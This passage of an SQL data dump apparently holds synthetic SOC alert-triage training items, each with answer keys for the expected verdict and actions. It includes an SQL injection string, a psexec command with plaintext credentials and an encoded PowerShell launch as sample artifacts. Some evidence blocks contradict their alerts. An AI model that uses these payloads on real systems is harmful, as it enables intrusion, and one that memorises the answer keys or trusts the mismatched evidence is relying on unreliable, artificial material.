3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ehr-server-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ehr-server-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(625, 'Brute Force Attack Detected from Malicious IP', 'high', 'CrowdStrike', 'A series of failed login attempts were detected from an external IP address known for malicious activities.', 'Brute Force', 'T1110', 1, 'Closed', 95, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"CORP-WORKSTATION1\",\"failed_attempts\":35}', '2026-01-10 01:20:02', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Known user account within the organization\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address has a known history of brute force attacks, confirming this as a true positive.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(626, 'Malware Detected via EDR Signature', 'critical', 'Carbon Black', 'A malware file with a known signature was detected on a corporate workstation.', 'Malware', 'T1105', 1, 'investigating', 74, '{\"timestamp\":\"2026-01-11T10:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.11\",\"dst_ip\":\"\",\"username\":\"asmith\",\"hostname\":\"CORP-WORKSTATION2\",\"command_line\":\"C:\\\\malware\\\\evil.exe\",\"file_hash\":\"abcd1234efgh5678ijkl9012mnopqrst\"}', '2026-01-10 11:52:11', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl9012mnopqrst\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as malware by 65 antivirus engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malware\\\\evil.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual file execution path\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash matches known malware signatures, confirming this as a true positive.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.266Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.11\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION2\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\evil.exe\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl9012mnopqrst\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.266Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.11\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION2\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\evil.exe\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl9012mnopqrst\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.266Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.11\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION2\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\evil.exe\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl9012mnopqrst\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.266Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.11\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION2\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\evil.exe\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl9012mnopqrst\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.266Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.11\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"CORP-WORKSTATION2\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\evil.exe\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl9012mnopqrst\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(627, 'Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A phishing email was detected containing a URL that redirects to a malicious site.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"104.244.42.1\",\"email_sender\":\"phisher@maliciousdomain.com\",\"hostname\":\"mail.corp.com\",\"url\":\"http://maliciousdomain.com/login\"}', '2026-01-09 22:15:29', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"malicious\",\"details\":\"Email associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL redirects to known phishing site\"}}],\"expected_actions\":[\"block_url\",\"educate_user\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a URL that redirects to a malicious site, confirming this as a true positive.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected with Malicious URL\",\"date\":\"2026-02-01T20:32:22.267Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(628, 'SQL Injection Attack Detected on Web Server', 'critical', 'Wazuh', 'A SQL injection attempt was detected targeting the corporate web server.', 'Web Attack', 'T1190', 1, 'closed', NULL, '{\"timestamp\":\"2026-01-11T12:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.2\",\"dst_ip\":\"10.0.0.5\",\"hostname\":\"WEB-SERVER1\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-10 00:24:58', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.2\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"harden_web_server\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request contains a clear SQL injection payload, confirming this as a true positive.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.268Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.2\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"WEB-SERVER1\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.268Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.2\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"WEB-SERVER1\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.268Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.2\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"WEB-SERVER1\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.268Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.2\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"WEB-SERVER1\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.268Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.2\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"WEB-SERVER1\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(629, 'Suspicious Network Connection Detected', 'medium', 'Firewall', 'A network connection was made to an external IP known for suspicious activities.', 'Network Connection', 'T1041', 0, 'Closed', 225, '{\"timestamp\":\"2026-01-11T13:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.12\",\"dst_ip\":\"185.143.223.42\",\"hostname\":\"CORP-WORKSTATION3\"}', '2026-01-11 09:40:55', '2026-03-10 22:24:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 100 times for suspicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"monitor_traffic\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is known for suspicious activities, warranting further investigation.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(630, 'Failed Login Attempts Detected on Internal System', 'low', 'Splunk', 'Multiple failed login attempts were detected from an internal IP address. The source does not show any malicious history.', 'Brute Force', 'T1110', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:10:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.20\",\"username\":\"mwhite\",\"hostname\":\"CORP-SERVER1\",\"failed_attempts\":8}', '2026-01-10 12:00:04', '2026-02-16 16:56:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mwhite\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Known internal user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed attempts were from an internal IP with no known malicious history.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.270Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-02-01T20:31:22.270Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-02-01T20:30:22.270Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-02-01T20:29:22.270Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-02-01T20:28:22.270Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"failed_attempts\\\":8}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(631, 'Email with Potentially Malicious Attachment', 'medium', 'Proofpoint', 'An email was detected with an attachment that could potentially be malicious. The attachment is not flagged by any antivirus engines.', 'Phishing', 'T1566', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T15:20:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.5\",\"email_sender\":\"unknown@unknown.com\",\"hostname\":\"mail.corp.com\",\"file_hash\":\"1234567890abcdef1234567890abcdef\"}', '2026-01-09 16:19:52', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"unknown@unknown.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Email from an unknown sender\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"1234567890abcdef1234567890abcdef\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash not detected as malicious by any antivirus engines\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The attachment is not flagged by any antivirus engines; hence it\'s considered a false positive.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Email with Potentially Malicious Attachment\",\"date\":\"2026-02-01T20:32:22.272Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(632, 'Unauthorized PSExec Execution Detected', 'high', 'Wazuh', 'An unauthorized execution of PSExec was detected on an internal server, indicating possible lateral movement.', 'Lateral Movement', 'T1569', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T16:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER2\",\"command_line\":\"psexec \\\\\\\\192.168.1.30 -u admin -p password cmd.exe\"}', '2026-01-10 16:40:16', '2026-02-16 17:31:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.30 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Unauthorized use of PSExec tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unauthorized execution of PSExec indicates possible lateral movement, confirming this as a true positive.\"}', 'Novice', 'EDR', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.273Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER2\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.273Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER2\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.273Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER2\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.273Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER2\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.273Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER2\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
